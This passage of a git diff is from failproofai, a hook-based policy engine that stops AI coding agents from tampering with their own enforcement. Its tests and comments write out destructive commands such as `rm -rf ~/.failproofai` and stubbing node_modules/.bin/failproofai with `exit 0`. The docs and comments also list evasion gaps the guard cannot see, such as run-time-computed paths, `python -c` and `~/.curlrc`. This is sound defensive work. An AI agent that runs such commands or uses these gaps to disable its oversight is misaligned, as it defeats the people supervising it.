+describe("block-failproofai-commands — OpenClaw's native apply_patch", () => { + beforeEach(() => { + clearPolicies(); + registerBuiltinPolicies([]); + }); + + const patchOf = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + const evaluate = (toolInput: Record) => + evaluatePolicies( + "PreToolUse", + { tool_name: "apply_patch", tool_input: toolInput, cwd: "/work/proj" }, + { cli: "openclaw", cwd: "/work/proj" }, + ); + + it.each([ + ["adding the npx entry", { input: patchOf("*** Add File: node_modules/.bin/failproofai", "+exit 0") }], + ["rewriting the state", { input: patchOf("*** Update File: /home/u/.failproofai/policies-config.json", "@@", "+{}") }], + ["rewriting the installed package", { patch: patchOf("*** Update File: node_modules/failproofai/dist/cli.mjs", "@@", "+exit 0") }], + ])("denies a patch %s", async (_label, toolInput) => { + const result = await evaluate(toolInput); + expect(result.decision).toBe("deny"); + expect(result.policyName).toBe("failproofai/block-failproofai-commands"); + }); + + it("allows a patch to project files", async () => { + const result = await evaluate({ input: patchOf("*** Update File: src/app.ts", "@@", "-a", "+b") }); + expect(result.decision).toBe("allow"); + }); +}); diff --git a/__tests__/hooks/state-guard.test.ts b/__tests__/hooks/state-guard.test.ts index 11a84cbfd..3bf819b32 100644 --- a/__tests__/hooks/state-guard.test.ts +++ b/__tests__/hooks/state-guard.test.ts @@ -655,8 +655,9 @@ describe("block-failproofai-commands — the state guard", () => { // when the path is BUILT at run time the literal never appears, so there is // nothing to match. The real fix is action-gating on the resolved path, // which is not something a string check can do. + // (`~/.failproof$X` used to sit here too. The walk now expands a variable + // the same line assigns, so that one is caught; see guard-npx-local-bin.test.ts.) it("does not catch a path assembled at run time", async () => { - expect(await decide("X=ai; rm -rf ~/.failproof$X")).toBe("allow"); expect(await decide('echo ~/.failproofai > /tmp/t; rm -rf "$(cat /tmp/t)"')).toBe("allow"); expect(await decide("find ~ -inum 12345 -delete")).toBe("allow"); }); diff --git a/__tests__/hooks/typed-shell-input-handler.test.ts b/__tests__/hooks/typed-shell-input-handler.test.ts new file mode 100644 index 000000000..59b7c29ad --- /dev/null +++ b/__tests__/hooks/typed-shell-input-handler.test.ts @@ -0,0 +1,137 @@ +// @vitest-environment node +// +// Whether the handler moves typed shell text into `command` and registers the +// refusal guard. The text's reading is covered in typed-shell-input.test.ts. +import { describe, it, expect, vi, beforeEach, afterAll } from "vitest"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +const scratch = mkdtempSync(join(tmpdir(), "fp-typed-input-")); +process.env.FAILPROOFAI_HOME = scratch; + +vi.mock("../../src/hooks/policy-registry", async (importOriginal) => ({ + ...(await importOriginal()), + clearPolicies: vi.fn(), + registerPolicy: vi.fn(), + getPoliciesForEvent: vi.fn(() => []), +})); +vi.mock("../../src/hooks/custom-hooks-loader", () => ({ + loadAllCustomHooks: vi.fn(async () => ({ hooks: [], conventionSources: [] })), +})); +vi.mock("../../src/hooks/cloud-managed-policies", async (importOriginal) => ({ + ...(await importOriginal()), + readActiveCloudManagedPolicies: vi.fn(() => []), + readCloudJevMode: vi.fn(() => null), + readCloudJevState: vi.fn(() => ({ jevMode: null, deployment: null, errors: [] })), + readCloudAuthorityInputs: vi.fn(() => []), +})); +vi.mock("../../src/hooks/session-pause", async (importOriginal) => ({ + ...(await importOriginal()), + readActivePause: vi.fn(() => null), +})); +vi.mock("../../src/hooks/hook-activity-store", () => ({ persistHookActivity: vi.fn() })); +vi.mock("../../src/hooks/policy-evaluator", () => ({ + evaluatePolicies: vi.fn(() => ({ exitCode: 0, stdout: "", stderr: "", policyName: null, reason: null, decision: "allow" })), +})); +vi.mock("../../src/hooks/hook-telemetry", () => ({ + trackHookEvent: vi.fn(() => Promise.resolve()), + flushHookTelemetry: vi.fn(() => Promise.resolve()), +})); +vi.mock("../../lib/telemetry-id", () => ({ getInstanceId: vi.fn(() => "test-id") })); +vi.mock("../../src/hooks/hook-logger", () => ({ hookLogInfo: vi.fn(), hookLogWarn: vi.fn(), hookLogError: vi.fn() })); +vi.mock("../../src/hooks/untraced-note", () => ({ noteUntracedAgent: vi.fn(() => false) })); +vi.mock("../../src/hooks/pack-manifest", () => ({ + readInstalledPacks: vi.fn(() => ({ packs: [], errors: [] })), + hasInstalledPacks: vi.fn(() => false), + hasInstalledRegexPacks: vi.fn(() => false), +})); + +import { evaluateHookEvent } from "../../src/hooks/handler"; +import { TYPED_INPUT_GUARD_NAME } from "../../src/hooks/typed-shell-input"; +import { CODEX_SESSION_GUARD_NAME } from "../../src/hooks/codex-interactive-session"; +import { readActiveCloudManagedPolicies } from "../../src/hooks/cloud-managed-policies"; +import { readActivePause } from "../../src/hooks/session-pause"; +import { registerPolicy } from "../../src/hooks/policy-registry"; +import { evaluatePolicies } from "../../src/hooks/policy-evaluator"; + +const codex = (tool_name: string, tool_input: Record) => + JSON.stringify({ session_id: "s1", cwd: "/tmp/p", hook_event_name: "PreToolUse", tool_name, tool_input }); +const registered = () => vi.mocked(registerPolicy).mock.calls.some(([name]) => name === TYPED_INPUT_GUARD_NAME); +const evaluatedInput = () => (vi.mocked(evaluatePolicies).mock.calls[0]?.[1] as Record)?.tool_input as Record; +const CLOUD = { id: "org", version: 1, sha256: "a".repeat(64), path: "/x.mjs", deployment: 1 }; + +beforeEach(() => { + vi.clearAllMocks(); + vi.mocked(readActivePause).mockReturnValue(null); + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([]); +}); + +afterAll(() => { + rmSync(scratch, { recursive: true, force: true }); +}); + +describe("handler: text typed into a running shell", () => { + it("hands Codex write_stdin's chars to the shell policies as the command", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "rm -rf ~/.failproofai\n" })); + expect(evaluatedInput()).toMatchObject({ command: "rm -rf ~/.failproofai", chars: "rm -rf ~/.failproofai\n" }); + expect(registered()).toBe(false); + }); + + it("hands Copilot write_bash's input to the shell policies as the command", async () => { + await evaluateHookEvent( + "PreToolUse", + "copilot", + JSON.stringify({ session_id: "s1", cwd: "/tmp/p", tool_name: "write_bash", tool_input: { shellId: "a", input: "sudo ls\n" } }), + ); + expect(evaluatedInput()).toMatchObject({ command: "sudo ls" }); + }); + + it("registers the guard for a partial line", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "rm -rf ~/.fail" })); + expect(registered()).toBe(true); + }); + + it("does not register it for an empty poll or an ordinary command", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "" })); + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "ls" })); + expect(registered()).toBe(false); + }); + + it("a pause lifts it unless an enforcing Cloud policy is deployed", async () => { + vi.mocked(readActivePause).mockReturnValue({ sessionId: "s1" } as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "x" })); + expect(registered()).toBe(false); + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([CLOUD] as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "x" })); + expect(registered()).toBe(true); + }); +}); + +describe("handler: a Codex command that opens an interactive session", () => { + const sessionGuard = () => vi.mocked(registerPolicy).mock.calls.some(([name]) => name === CODEX_SESSION_GUARD_NAME); + + it("registers the guard for Codex's bash -i, the one call Codex hooks for a kept-open shell", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "bash -i" })); + expect(sessionGuard()).toBe(true); + }); + + it("does not register it for a one-shot command, or on another CLI", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "npm test" })); + await evaluateHookEvent( + "PreToolUse", + "claude", + JSON.stringify({ session_id: "s1", cwd: "/tmp/p", tool_name: "Bash", tool_input: { command: "bash -i" } }), + ); + expect(sessionGuard()).toBe(false); + }); + + it("is lifted by a pause unless an enforcing Cloud policy is deployed", async () => { + vi.mocked(readActivePause).mockReturnValue({ sessionId: "s1" } as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "bash -i" })); + expect(sessionGuard()).toBe(false); + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([CLOUD] as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "bash -i" })); + expect(sessionGuard()).toBe(true); + }); +}); diff --git a/__tests__/hooks/typed-shell-input.test.ts b/__tests__/hooks/typed-shell-input.test.ts new file mode 100644 index 000000000..abff24a65 --- /dev/null +++ b/__tests__/hooks/typed-shell-input.test.ts @@ -0,0 +1,107 @@ +// @vitest-environment node +// +// Text an agent types into a running shell (FailproofAI/agenteye#1898): Codex's +// `write_stdin` sends it as `chars`, Copilot's `write_bash` as `input`, and every +// shell policy reads only `command`. Payload shapes are taken from the agents' +// own tool schemas: codex-cli 0.172 and Copilot CLI 1.0.114. +import { describe, it, expect } from "vitest"; +import { readTypedText, typedShellInput, typedInputGuardFor, typedInputGuardActive } from "../../src/hooks/typed-shell-input"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +describe("readTypedText", () => { + it.each([ + ["one line", "rm -rf ~/.failproofai\n", "rm -rf ~/.failproofai"], + ["several lines", "cd /tmp\nrm -rf x\n", "cd /tmp\nrm -rf x"], + ["a carriage return as Enter", "ls\r", "ls"], + ["CRLF line ends", "a\r\nb\r\n", "a\nb"], + ["a heredoc sent whole", "cat > notes <<'EOF'\nline\nEOF\n", "cat > notes <<'EOF'\nline\nEOF"], + ["an escaped backslash at the end", "echo a\\\\\n", "echo a\\\\"], + ["a quote closed on the same line", "echo 'it''s'\n", "echo 'it''s'"], + ["a comment with a quote in it", "ls # don't\n", "ls # don't"], + ])("reads %s as the lines it runs", (_label, text, command) => { + expect(readTypedText(text)).toEqual({ kind: "command", command }); + }); + + it.each([ + ["an empty write, which polls for output", ""], + ["Ctrl-C", "\u0003"], + ["Ctrl-D", "\u0004"], + ["an arrow key and Enter", "\u001b[A\n"], + ["Enter alone", "\n"], + // Every write it accepts ends its line and carries no editing keys, so the + // shell's kill buffer only ever holds text that was already judged. + ["Ctrl-Y alone", "\u0019\n"], + ])("gives nothing to judge for %s", (_label, text) => { + expect(readTypedText(text)).toEqual({ kind: "command", command: "" }); + }); + + it.each([ + ["a partial line, which a later write would finish", "rm -rf ~/.fail"], + ["text after the last line end", "ls\nrm -rf ~/.fail"], + ["Tab completion", "rm -rf ~/.failpr\t\n"], + ["Ctrl-W", "rm -rf ~/x\u0017~/.failproofai\n"], + ["a cursor key mid-line", "rm -rf ~/.f\u001b[Dx\n"], + ["a trailing backslash, continued in the next write", "cp source \\\n"], + ["an unclosed quote", "cp source 'ho\n"], + ["a heredoc whose closing line has not been sent", "cat > notes < { + expect(readTypedText(text).kind).toBe("unreadable"); + }); +}); + +describe("typedShellInput", () => { + it("reads Codex write_stdin's chars", () => { + expect(typedShellInput("codex", "write_stdin", "Bash", { session_id: 1, chars: "rm -rf x\n" })).toEqual({ + kind: "command", + command: "rm -rf x", + }); + }); + + it.each(["write_bash", "write_powershell"])("reads Copilot %s's input", (tool) => { + expect(typedShellInput("copilot", tool, "Bash", { shellId: "s1", input: "rm -rf x\n", delay: 1 })).toEqual({ + kind: "command", + command: "rm -rf x", + }); + }); + + it("knows a typing call by its shape when the name already arrives as Bash", () => { + expect(typedShellInput("copilot", "Bash", "Bash", { shellId: "s1", input: "rm -rf x\n" })?.kind).toBe("command"); + expect(typedShellInput("codex", "Bash", "Bash", { session_id: 3, chars: "rm -rf x" })?.kind).toBe("unreadable"); + }); + + it.each([ + ["a Codex shell command", "codex", "Bash", { command: "ls" }], + ["Copilot's read_bash, which types nothing", "copilot", "read_bash", { shellId: "s1", delay: 1 }], + ["Copilot's bash with a shell id", "copilot", "bash", { command: "ls", shellId: "s1" }], + ["another CLI's tool with an input field", "claude", "Bash", { input: "x", shellId: "s" }], + ] as const)("leaves %s alone", (_label, cli, raw, input) => { + expect(typedShellInput(cli, raw, "Bash", input)).toBeUndefined(); + }); + + it("leaves a call that is not a shell call alone", () => { + expect(typedShellInput("codex", "write_stdin", "Edit", { chars: "x" })).toBeUndefined(); + }); +}); + +describe("the guard", () => { + const ctx = (eventType: string): PolicyContext => ({ eventType, payload: {}, toolName: "Bash", toolInput: {} } as PolicyContext); + + it("denies on PreToolUse and says why", () => { + const result = typedInputGuardFor("it does not end its line")(ctx("PreToolUse")); + expect(result.decision).toBe("deny"); + expect(result.reason).toContain("it does not end its line"); + }); + + it("allows on any other event", () => { + expect(typedInputGuardFor("x")(ctx("PostToolUse")).decision).toBe("allow"); + }); + + it("is lifted by a pause unless an enforcing Cloud policy is deployed", () => { + expect(typedInputGuardActive(false, [])).toBe(true); + expect(typedInputGuardActive(true, [])).toBe(false); + expect(typedInputGuardActive(true, [{ effect: "observe" }])).toBe(false); + expect(typedInputGuardActive(true, [{}])).toBe(true); + }); +}); diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index 46fcbace5..2d394823d 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,6 +22,8 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path (Pi's are the exception: its project file points at the extension inside the installed package). npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. It reads a command as written and as the shell expands it, with the sed scripts, patches and curl configs the command names, so it cannot see a path a command only computes as it runs: one read from a pipe or a file (`read`, `xargs`), one a sourced file sets, one a tool takes from its own configuration (`~/.curlrc`, `~/.wgetrc`), or one a script run by an interpreter writes (`python -c`, `node -e`, `awk`). User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. + Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. | Scope | Policy configuration file | diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 717bd18c7..aba48f621 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2,7 +2,7 @@ * Built-in security policies for Claude Code hooks. */ import { resolve, join } from "node:path"; -import { lstatSync, readlinkSync, statSync } from "node:fs"; +import { lstatSync, readFileSync, readdirSync, readlinkSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -498,11 +498,17 @@ function pathComponent(name: string): string { * tampered client never asks it. The state pattern below needs a `.` the * package path does not have (FailproofAI/agenteye#1796). * + * Project-scope hooks are portable instead: `npx -y failproofai --hook …`, so + * the committed file names no machine's path. npx runs a + * `node_modules/.bin/failproofai` it finds in the project, or in ANY directory + * above it, before the global install or its own cache, without checking what + * the file is. So one Write of `exit 0` to that path turned every later hook in + * that tree into an allow, and kept doing it in every later session + * (FailproofAI/agenteye#1795). That entry is matched below too. + * * A checkout of this repository matches none of the shapes below — no * `node_modules` above it, and its entry is `bin/failproofai.mjs` — so the guard * does not stand in front of working on failproofai itself. - * `node_modules/.bin/failproofai`, the stub `npx` prefers, is not matched here - * either (FailproofAI/agenteye#1795). * * Case-insensitive because macOS volumes are by default: every casing of these * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path @@ -529,6 +535,19 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // the variables nvm and pnpm export for those directories. A FILE, so a // directory of that name (`~/bin/failproofai/src/…`) is not it. String.raw`(?:[\\/](?:bin|pnpm)|\$\{?(?:NVM_BIN|PNPM_HOME)\}?)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@\\/-])`, + // The entry `npx -y failproofai` runs first: `.bin/failproofai` in a + // `node_modules` of the project or of any directory above it (and in the + // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) + // write beside it on Windows. Not anchored on `node_modules`, so the + // relative `.bin/failproofai` a command run from inside `node_modules` + // names is the same file. `.bin` must start a path component + // (`pathComponent`), so `firmware.bin/failproofai` is not it, while + // `>.bin/…` and a short option the path is glued to (`-O.bin/…`, + // `-so.bin/…`) are. A FILE, like the entry above: the rest of + // `node_modules/.bin` (every other package's binary, run by path all the + // time) stays out of it. + pathComponent(String.raw`\.bin`) + + String.raw`[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, ].join("|"), "i", ); @@ -705,6 +724,120 @@ const LOOP_HEADER_RE = /(?:^|[\s(])(?:while|until|for|select)\s/; */ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); +/** + * Commands that put a file into a directory under the file's OWN name, and the + * options of each that take a value, short and long. + * + * `cp /tmp/stage/failproofai node_modules/.bin/` writes + * `node_modules/.bin/failproofai`, and that path appears nowhere on the line: + * the source names a scratch file and the destination names a directory that + * holds every package's binary. So the name a source would land under is + * judged as well as the operands as written (FailproofAI/agenteye#1795). + * A value is not a source: `install -o failproofai -m 0755 agentd /usr/local/bin/` + * installs `agentd`. `t` is the target directory for all but rsync, where it + * is `--times`, and scp, which has none. scp's `-T` is not `--no-target-directory` + * and its `-R` is not recursive. + */ +type IntoDirectoryOptions = { short: string; values: readonly string[]; flags: readonly string[] }; + +// A Map, not an object literal: a command named `constructor` or `__proto__` +// must not find Object.prototype's member here, or the walk throws and the +// evaluator skips this always-on policy (found by CodeRabbit on #1058). +const INTO_DIRECTORY_OPTIONS = new Map(Object.entries({ + // From each command's `--help` (GNU coreutils 9, rsync 3.4.1): `values` take + // one, `flags` take none or only an `=VALUE` glued on. + cp: { + short: "St", + values: ["no-preserve", "sparse", "suffix", "target-directory"], + flags: [ + "archive", "attributes-only", "backup", "context", "copy-contents", "debug", "dereference", "force", "help", + "interactive", "keep-directory-symlink", "link", "no-clobber", "no-dereference", "no-target-directory", + "one-file-system", "parents", "preserve", "recursive", "reflink", "remove-destination", + "strip-trailing-slashes", "symbolic-link", "update", "verbose", "version", + ], + }, + mv: { + short: "St", + values: ["suffix", "target-directory"], + flags: [ + "backup", "context", "debug", "exchange", "force", "help", "interactive", "no-clobber", "no-copy", + "no-target-directory", "strip-trailing-slashes", "update", "verbose", "version", + ], + }, + ln: { + short: "St", + values: ["suffix", "target-directory"], + flags: [ + "backup", "force", "help", "interactive", "logical", "no-dereference", "no-target-directory", "physical", + "relative", "symbolic", "verbose", "version", + ], + }, + install: { + short: "mogSt", + values: ["group", "mode", "owner", "strip-program", "suffix", "target-directory"], + flags: [ + "backup", "compare", "context", "directory", "help", "no-target-directory", "preserve-context", + "preserve-timestamps", "strip", "unprivileged", "verbose", "version", + ], + }, + rsync: { + short: "@BefMT", + values: [ + "address", "backup-dir", "block-size", "bwlimit", "cc", "checksum-choice", "checksum-seed", "chmod", "chown", + "compare-dest", "compress-choice", "compress-level", "contimeout", "copy-as", "copy-dest", "debug", + "early-input", "exclude", "exclude-from", "files-from", "filter", "groupmap", "iconv", "include", + "include-from", "info", "link-dest", "log-file", "log-file-format", "max-alloc", "max-delete", "max-size", + "min-size", "modify-window", "only-write-batch", "outbuf", "out-format", "partial-dir", "password-file", + "port", "protocol", "read-batch", "remote-option", "rsh", "rsync-path", "skip-compress", "sockopts", + "stop-after", "stop-at", "suffix", "temp-dir", "timeout", "usermap", "write-batch", "zc", "zl", + ], + flags: [ + "acls", "append", "append-verify", "archive", "atimes", "backup", "blocking-io", "checksum", "compress", + "copy-devices", "copy-dirlinks", "copy-links", "copy-unsafe-links", "crtimes", "cvs-exclude", "daemon", "del", + "delay-updates", "delete", "delete-after", "delete-before", "delete-delay", "delete-during", + "delete-excluded", "delete-missing-args", "devices", "dirs", "dry-run", "executability", "existing", + "fake-super", "force", "from0", "fsync", "fuzzy", "group", "hard-links", "help", "human-readable", + "ignore-errors", "ignore-existing", "ignore-missing-args", "ignore-times", "inplace", "ipv4", "ipv6", + "itemize-changes", "keep-dirlinks", "links", "list-only", "mkpath", "munge-links", "no-implied-dirs", + "no-motd", "numeric-ids", "old-args", "old-d", "old-dirs", "omit-dir-times", "omit-link-times", + "one-file-system", "open-noatime", "owner", "partial", "perms", "preallocate", "progress", + "prune-empty-dirs", "quiet", "recursive", "relative", "remove-source-files", "safe-links", "secluded-args", + "size-only", "sparse", "specials", "stats", "stderr", "super", "times", "trust-sender", "update", "verbose", + "version", "whole-file", "write-devices", "xattrs", + ], + }, + // OpenSSH 9's `scp` synopsis: no long options. + scp: { short: "cDFiJloPSX", values: [], flags: [] }, +} satisfies Record)); + +/** + * The long option `name` stands for, and whether it takes a value: an exact + * name first, so `--partial` is not read as an abbreviation of + * `--partial-dir` and made to swallow the next word, then the one option an + * abbreviation can only mean. Ambiguous or unknown, the command refuses to run. + */ +function longOptionOf( + options: { values: readonly string[]; flags: readonly string[] }, + name: string, +): { full: string; value: boolean } | undefined { + if (options.values.includes(name)) return { full: name, value: true }; + if (options.flags.includes(name)) return { full: name, value: false }; + const matches = [ + ...options.values.filter((full) => full.startsWith(name)).map((full) => ({ full, value: true })), + ...options.flags.filter((full) => full.startsWith(name)).map((full) => ({ full, value: false })), + ]; + return name.length > 0 && matches.length === 1 ? matches[0] : undefined; +} + +/** + * npm's bin directory, `node_modules/.bin`. A directory moved, linked or copied + * recursively ONTO it brings entries the line never names: + * `ln -s /tmp/stage ~/node_modules/.bin` hands every project under `~` without + * its own entry a `failproofai` from `/tmp/stage`, because npx searches each + * parent's `.bin` (#1795). Only npm's: `~/.bin` is somebody's own scripts. + */ +const NPM_BIN_DIRECTORY_RE = /(?:^|[\\/])node_modules[\\/](?:\.?[\\/])*\.bin$/i; + /** * Commands that write EVERY path operand they are given. * @@ -737,9 +870,27 @@ const SECOND_OPERAND_WRITERS = new Set(["uniq", "xxd"]); const OUTPUT_FLAG_COMMANDS: Record = { sort: ["-o", "--output"], tree: ["-o", "--output"], - curl: ["-o", "--output", "--output-dir", "-D", "--dump-header", "--trace", "--trace-ascii"], + curl: [ + "-o", + "--output", + "--output-dir", + "-D", + "--dump-header", + "--trace", + "--trace-ascii", + "-c", + "--cookie-jar", + "--stderr", + "--libcurl", + "--etag-save", + "--hsts", + "--alt-svc", + ], }; +/** Options that are a prefix of an output option's name but are another option themselves. */ +const EXACT_NON_OUTPUT_OPTIONS = new Set(["curl --cookie", "curl --trace-time", "curl --trace-ids", "curl --trace-config"]); + /** * `find` actions that write a file of their own, as opposed to running one. * @@ -840,6 +991,22 @@ const PIPELINE_SEPARATORS = /\|\||&&|[;\n\r&]+/; /** A `$VAR` or `${VAR}` reference, wherever it sits. */ const VAR_REFERENCE_RE = /\$\{?([A-Za-z_][A-Za-z0-9_]*)\}?/g; +/** `NAME=value` or `export NAME=value`, quoted or not, wherever it sits. */ +const ASSIGNMENT_RE = /(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g; + +/** `declare -n NAME=TARGET` (or `typeset`, `local`): `NAME` read as `TARGET`. */ +const NAMEREF_RE = + /(?:^|[\s;&|(])(?:declare|typeset|local)\s+(?:[-+][A-Za-z]+\s+)*?-[A-Za-z]*n[A-Za-z]*\s+(?:[-+][A-Za-z]+\s+)*([A-Za-z_][A-Za-z0-9_]*)=["']?([A-Za-z_][A-Za-z0-9_]*)["']?/g; + +/** The header of a `for` or `select` loop over a list: its variable and the list. */ +const LOOP_VARIABLE_RE = /(?:^|[\s(])(?:for|select)\s+([A-Za-z_][A-Za-z0-9_]*)\s+in\b\s*([\s\S]*)$/; + +/** More values than a loop's variable is read with; past it, only those that may reach what is protected. */ +const MAX_LOOP_VALUES = 64; + +/** A value a word still holds that the walk cannot read: a substitution, or a reference left unexpanded. */ +const UNREAD_VALUE_RE = /\$\(\((?:[^()]|\([^()]*\))*\)\)|\$\((?:[^()]|\([^()]*\))*\)|\$\(|`[^`]*`|`|\$\{[^}]*\}|\$\{|\$[A-Za-z_][A-Za-z0-9_]*|\$[0-9@*#?$!-]/g; + /** * The spellings of the state directory a glob would have to match. * @@ -881,8 +1048,27 @@ const STATE_GLOB_CANDIDATES = [ "/opt/homebrew/bin/failproofai", "~/.bun/bin/failproofai", "~/.volta/bin/failproofai", + // The entry a project-scope `npx -y failproofai` runs (FailproofAI/agenteye#1795), + // and the Windows shims beside it. + ...["", ".cmd", ".ps1", ".exe", ".bunx"].flatMap((shim) => [ + `node_modules/.bin/failproofai${shim}`, + `./node_modules/.bin/failproofai${shim}`, + `.bin/failproofai${shim}`, + ]), ]; +/** How many `/`-separated segments the deepest glob candidate has. */ +const GLOB_CANDIDATE_DEPTH = Math.max(...STATE_GLOB_CANDIDATES.map((candidate) => candidate.split("/").length)); + +/** + * The candidates a mid-path stretch is tried against: the relative ones of two + * segments or more (`node_modules/failproofai`, `node_modules/.bin/failproofai`), + * which stand for the same files under any directory. + */ +const MULTI_SEGMENT_GLOB_CANDIDATES = STATE_GLOB_CANDIDATES.filter( + (candidate) => /^[^~/$]/.test(candidate) && candidate.replace(/^\.\//, "").includes("/"), +); + /** * Ordinary paths a targeted pattern must NOT be able to match. * @@ -906,6 +1092,12 @@ const GLOB_DECOYS = [ "node_modules/@types/node", "./node_modules/@types/node", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", + // Other packages' entries beside it, so `rm -rf node_modules/.bin/*` is the + // sweep it is rather than an aim at failproofai's. + "node_modules/.bin/tsc", "./node_modules/.bin/tsc", ".bin/tsc", + "node_modules/.bin/tsc.cmd", "./node_modules/.bin/tsc.cmd", ".bin/tsc.cmd", + // Another dotfile ending in `ai`, so the `.*ai` of a sed program is a sweep. + ".openai", ]; /** @@ -1071,10 +1263,33 @@ function wordNamesState(word: string): boolean { // segment that is not the last one — compiled to a pattern that could never // equal `~/.failproofai` and was read as naming nothing. Naming a file INSIDE // the state is naming the state. - const segments = word.split("/"); - for (let end = 1; end <= segments.length; end++) { + // `//`, `/./` and `..` change nothing a shell opens (`~//.failproof*`), and + // somebody else's home is the same place as the candidates' `/home/u`: + // `/home/alice/.failproof*` and `~alice/.failproof*` named nothing. + const segments = (/\/\/|(?:^|\/)\.\.?\//.test(word) ? shellPath(undefined, word) : word) + .replace(/^\/(home|Users)\/[^/]+(?=\/)/, "/$1/u") + .replace(/^~[A-Za-z0-9._-]+(?=\/)/, "~") + .split("/"); + // A prefix with more segments than the deepest candidate cannot equal one: + // a compiled `*` never crosses a `/`. + for (let end = 1; end <= Math.min(segments.length, GLOB_CANDIDATE_DEPTH); end++) { if (globPrefixNamesState(segments.slice(0, end).join("/"))) return true; } + // And every stretch that starts after a `/`, because the paths the + // multi-segment candidates stand for can sit under any directory: + // `/work/proj/node_modules/.bin/fail*` named nothing as a whole word + // (FailproofAI/agenteye#1795). A one-segment stretch only when it starts + // with a literal `.`: a shell's `*` never matches a dotfile, so `models/*ai` + // cannot reach `.failproofai`, while `/var/lib/jenkins/.failproof*` — a home + // no candidate spells — can. + for (let start = 1; start < segments.length; start++) { + const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); + const first = segments[start].startsWith(".") ? start + 1 : start + 2; + for (let end = first; end <= last; end++) { + const candidates = end - start === 1 ? STATE_GLOB_CANDIDATES : MULTI_SEGMENT_GLOB_CANDIDATES; + if (globPrefixNamesState(segments.slice(start, end).join("/"), candidates)) return true; + } + } return false; } @@ -1099,18 +1314,18 @@ const GLOB_METACHAR_RE = /[*?[{]|[@+!]\(/; * reaching too far is settled by the decoy test and reaching too little is a * bypass. */ -function compileGlobPattern(token: string): string { +function compileGlobPattern(token: string, anyOne = "[^/]"): string { let pattern = ""; for (let i = 0; i < token.length; i++) { - const extended = extglobAt(token, i); + const extended = extglobAt(token, i, anyOne); if (extended) { pattern += extended.source; i = extended.end; continue; } const ch = token[i]; - if (ch === "*") pattern += "[^/]*"; - else if (ch === "?") pattern += "[^/]"; + if (ch === "*") pattern += `${anyOne}*`; + else if (ch === "?") pattern += anyOne; else if (ch === "[") { const bracket = bracketExpressionAt(token, i); if (!bracket) { @@ -1129,7 +1344,7 @@ function compileGlobPattern(token: string): string { } /** One `@(…)`-style group, with its alternatives compiled as patterns. */ -function extglobAt(token: string, start: number): { source: string; end: number } | null { +function extglobAt(token: string, start: number, anyOne = "[^/]"): { source: string; end: number } | null { const operator = token[start]; if (!"?*+@!".includes(operator) || token[start + 1] !== "(") return null; const alternatives: string[] = []; @@ -1156,8 +1371,8 @@ function extglobAt(token: string, start: number): { source: string; end: number } // Unterminated, so the operator is an ordinary character rather than a group. if (i >= token.length) return null; - if (operator === "!") return { source: "[^/]*", end: i }; - const body = alternatives.map((alternative) => compileGlobPattern(alternative)).join("|"); + if (operator === "!") return { source: `${anyOne}*`, end: i }; + const body = alternatives.map((alternative) => compileGlobPattern(alternative, anyOne)).join("|"); const quantifier = operator === "?" ? "?" : operator === "*" ? "*" : operator === "+" ? "+" : ""; return { source: `(?:${body})${quantifier}`, end: i }; } @@ -1218,7 +1433,7 @@ function bracketExpressionAt(token: string, start: number): { source: string; en * One `/`-delimited prefix of a brace-expanded word, compiled and tried against * the candidates. Braces are already gone by here; an unmatched one is literal. */ -function globPrefixNamesState(token: string): 